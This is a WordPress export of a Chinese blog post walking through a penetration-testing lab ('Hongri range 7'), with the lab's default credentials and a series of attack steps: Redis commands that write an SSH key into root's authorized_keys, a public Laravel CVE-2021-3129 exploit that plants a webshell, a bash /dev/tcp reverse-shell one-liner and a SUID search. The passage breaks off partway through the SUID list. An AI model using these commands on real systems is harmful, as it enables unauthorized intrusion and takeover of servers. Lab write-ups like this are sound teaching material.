{"id":2175,"date":"2026-07-17T16:39:32","date_gmt":"2026-07-17T08:39:32","guid":{"rendered":"https:\/\/koishi.team\/?p=2175"},"modified":"2026-07-17T18:24:41","modified_gmt":"2026-07-17T10:24:41","slug":"%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83","status":"publish","type":"post","link":"https:\/\/koishi.team\/index.php\/2026\/07\/17\/%e7%ba%a2%e6%97%a5%e9%9d%b6%e5%9c%ba%e4%b8%83\/","title":{"rendered":"\u7ea2\u65e5\u9776\u573a\u4e03"},"content":{"rendered":"\n<h1 class=\"wp-block-heading\">\u9776\u573a\u7f51\u7edc\u62d3\u6251<\/h1>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\">Kali eth0 VMnet8:<code>192.168.52.128<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">DMZ\u8df3\u677f\u673a:Web1: VMnet8<code>192.168.52.10<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">VMnet2 <code>192.168.52.10<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Web2: VMnet2<code>192.168.52.20<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">VMnet14<code>192.168.93.10<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">PC1\uff1aVMnet2<code>192.168.52.30<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">VMnet14<code>192.168.93.20<\/code><\/p>\n\n\n\n<p class=\"wp-block-paragraph\">PC2\uff1aVMnet14 <code>192.168.93.40<\/code><\/p>\n<\/blockquote>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-01.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-01.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-02.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-02.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<p class=\"wp-block-paragraph\"><strong>DMZ \u533a\u7684 Ubuntu \u9700\u8981\u542f\u52a8 redis \u548c nginx \u670d\u52a1\uff1a<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo redis-server \/etc\/redis.conf\nsudo \/usr\/sbin\/nginx -c \/etc\/nginx\/nginx.conf\nsudo iptables -F<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u7b2c\u4e8c\u5c42\u7f51\u7edc\u7684 Ubuntu \u9700\u8981\u542f\u52a8 docker \u5bb9\u5668\uff1a<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo service docker start\nsudo docker start 8e172820ac78<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>\u7b2c\u4e09\u5c42\u7f51\u7edc\u7684 Windows 7 \uff08PC 1\uff09\u9700\u8981\u542f\u52a8\u901a\u8fbe OA\uff1a<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>C:\\MYOA\\bin\\AutoConfig.exe\n\u5173\u95edwaf\u5426\u5219\u65e0\u6cd5\u8bbf\u95eeOA<\/code><\/pre>\n<\/blockquote>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-03.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-03.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<blockquote class=\"wp-block-quote is-layout-flow wp-block-quote-is-layout-flow\">\n<h2 class=\"wp-block-heading\"><strong>\u57df\u7528\u6237\u4fe1\u606f<\/strong><\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u57df\u7528\u6237\u8d26\u6237\u548c\u5bc6\u7801\u5982\u4e0b\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Administrator\uff1aWhoami2021<\/li>\n\n\n\n<li>whoami\uff1aWhoami2021<\/li>\n\n\n\n<li>bunny\uff1aBunny2021<\/li>\n\n\n\n<li>moretz\uff1aMoretz2021<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Ubuntu 1\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>web\uff1aweb2021<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">Ubuntu 2\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>ubuntu\uff1aubuntu<\/li>\n<\/ul>\n\n\n\n<p class=\"wp-block-paragraph\">\u901a\u8fbe OA \u8d26\u6237\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>admin\uff1aadmin657260<\/li>\n<\/ul>\n<\/blockquote>\n\n\n\n<h1 class=\"wp-block-heading\">WEB1 redis\u672a\u6388\u6743\u5199\u5165SSH\u516c\u94a5<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u4eceweb1\u5f00\u59cbip\u4e3a192.168.59.141<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-04.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-04.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5b58\u5728Redis\u672a\u6388\u6743\u8bbf\u95ee\uff0c\u53ef\u4ee5\u5199\u5165redis\u670d\u52a1\u5668\u7684\/root\/.ssh\u8003\u8651\u5199\u516c\u94a5<br>Laravel\u7684 poc-yaml-laravel-cve-2021-3129<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u751f\u6210\u5bc6\u94a5ssh-keygen -t rsa<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-05.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-05.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5bc6\u94a5\u6587\u4ef6\u518d\/root\/.ssh\/id_rsa.pub\u6587\u4ef6\u4e2d<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">cat ~\/.ssh\/id_rsa.pub<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-06.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-06.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCIjeU3z6TiAlhRDOnK5YGJ2Ggj30I0YFZggGCYu8A1jzoep+8ybmPMRwhA3+mU7pMTpI1a372xCwTcaJmeaQmSLobaxJYCKFEb5D8c36yu0J\/OqUJNOgWgiGwXr3wtvP2nDqbyKbnhTebbBuEH+xQEgtHaSKlshF\/WtmpKSA4+9WgHS5341nz94x6s5h7wu7jXJWShQRqLgiEbTR8vyzJ7XuVlYG2GMSpPIQYCYIUko9ZNW2\/oyM6WiM8DfJktDTmXdMZeN6\/Sxzv5BirV7HIy3scGJb3QT+0tDf\/jSPbCF57xLb1gMusa8WIPQbSpeKIotmJ\/c+bQIvKibQPxCCu8AcqCkEh+FHcN39XEtlRfO\/91H\/TGDXQ7ZhaUAIssm8Zm49o0XPfyFhkcPMsRHquqqgkE+xThu7jrO8ra5reeDWEqkONUkYmMBUq5i5Ke\/LvDCsaVqNLgHyDY50nbuVB3jLKXjEyhzs6SVeiHuyDDJGq6RXI4DpIn95plfQ+JDv8= root@kali<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u7528redis-cli -h &lt;IP&gt; \u8fde\u63a5Redis\u670d\u52a1\u5668<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">redis-cli -h 192.168.59.141 -p 6379<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>config set dir \/root\/.ssh\/\nconfig set dbfilename authorized_keys\nset marginl \"\\n\\n\\n\\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCIjeU3z6TiAlhRDOnK5YGJ2Ggj30I0YFZggGCYu8A1jzoep+8ybmPMRwhA3+mU7pMTpI1a372xCwTcaJmeaQmSLobaxJYCKFEb5D8c36yu0J\/OqUJNOgWgiGwXr3wtvP2nDqbyKbnhTebbBuEH+xQEgtHaSKlshF\/WtmpKSA4+9WgHS5341nz94x6s5h7wu7jXJWShQRqLgiEbTR8vyzJ7XuVlYG2GMSpPIQYCYIUko9ZNW2\/oyM6WiM8DfJktDTmXdMZeN6\/Sxzv5BirV7HIy3scGJb3QT+0tDf\/jSPbCF57xLb1gMusa8WIPQbSpeKIotmJ\/c+bQIvKibQPxCCu8AcqCkEh+FHcN39XEtlRfO\/91H\/TGDXQ7ZhaUAIssm8Zm49o0XPfyFhkcPMsRHquqqgkE+xThu7jrO8ra5reeDWEqkONUkYmMBUq5i5Ke\/LvDCsaVqNLgHyDY50nbuVB3jLKXjEyhzs6SVeiHuyDDJGq6RXI4DpIn95plfQ+JDv8= root@kali\\n\\n\\n\"\nsave<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-07.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-07.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u7b2c\u4e00\u53e5\u662f\u4fee\u6539Redis\u7684\u6570\u636e\u6587\u4ef6\u4fdd\u5b58\u76ee\u5f55\uff0c\u7b2c\u4e8c\u53e5\u662f\u4fee\u6539Redis\u4fdd\u5b58\u6570\u636e\u5e93\u7684\u6587\u4ef6\u540d\uff0c\u7531\u539f\u6765\u7684dump.rdb\u4fee\u6539\u4e3a authorized_keys \uff0c\u65e2Redis\u4fdd\u5b58\u65f6\u7531\u539f\u6765\u7684\/var\/lib\/redis\/dump.rdb \u53d8\u4e3a\/root\/.ssh\/authorized_keys<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">ssh\u8fde\u63a5<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>ssh root@192.168.59.141 -i ~\/.ssh\/id_rsa<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-08.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-08.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u53d1\u73b0\u5185\u7f51\u7f51\u5361192.168.52.10<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u628a\u5bc6\u7801\u6539\u4e3a123456\u65b9\u4fbfssh\uff0c\u5f53\u7136\u5728MobaXterm\u4e0a\u7528ssh\u516c\u94a5\u4e5f\u53ef\u4ee5ssh<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-09.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-09.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<h1 class=\"wp-block-heading\">WEB2<\/h1>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e4b\u524dfscan\u626b\u63cf\u51fa\u8fd9\u4e2aLaravel\u6709poc-yaml-laravel-cve-2021-3129\u6f0f\u6d1e<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u4e0b\u8f7d\u5229\u7528\u5de5\u5177<a href=\"https:\/\/github.com\/SecPros-Team\/laravel-CVE-2021-3129-EXP\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/github.com\/SecPros-Team\/laravel-CVE-2021-3129-EXP<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-10.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-10.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u5fc5\u987b\u4f7f\u7528\u54e5\u65af\u62c93\u4ee5\u4e0b\u7684\u7248\u672c\u624d\u80fd\u8fde\u63a5<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"http:\/\/192.168.59.141:81\/\/fuckyou.php\" target=\"_blank\" rel=\"noreferrer noopener\">http:\/\/192.168.59.141:81\/\/fuckyou.php<\/a> \u5bc6\u7801pass<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">2.96\u7248\u672c\u54e5\u65af\u62c9<a href=\"https:\/\/github.com\/BeichenDream\/Godzilla\/releases\/tag\/v2.96-godzilla\" target=\"_blank\" rel=\"noreferrer noopener\">https:\/\/github.com\/BeichenDream\/Godzilla\/releases\/tag\/v2.96-godzilla<\/a><\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-11.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-11.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">java -jar Godzilla-V2.96.jar<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-12.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-12.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-13.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-13.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">\u7f51\u9875\u6743\u9650\u662fwww-data\uff0c\u9700\u8981\u63d0\u6743<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Docker\u5185\u63d0\u6743<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">\u5199\u4e2a\u53cd\u5f39shell<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728web1\u7684ubuntu\u4e2dnc -lvnp 7777(web2\u8fde\u4e0d\u5230kali\u4e0a)<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u5728webshell\u4e2dbash -c &#8220;bash -i >&amp; \/dev\/tcp\/192.168.52.10\/7777 0>&amp;1&#8221;<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-14.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-14.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-15.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-15.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">webshell\u8fde\u63a5\u4e0a\u4e86<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\u67e5\u627eSUID\u6587\u4ef6find \/ -perm -4000 -type f 2&gt;\/dev\/null<\/p>\n\n\n\n<figure class=\"wp-block-image\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-16.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/koishi.team\/wp-content\/uploads\/2026\/07\/hongri-7-16.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" title=\"\"\/><\/div><\/figure>\n\n\n\n<pre class=\"wp-block-code\"><code>find \/ -perm -4000 -type f 2&gt;\/dev\/null<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">\/usr\/bin\/chsh<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\/usr\/bin\/gpasswd<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\/usr\/bin\/passwd<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\/usr\/bin\/newgrp<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\/usr\/bin\/chfn<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\/usr\/bin\/sudo<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\/home\/jobs\/shell<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\/bin\/mount<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">\/bin\/su<\/p>\n\n\n\n<p 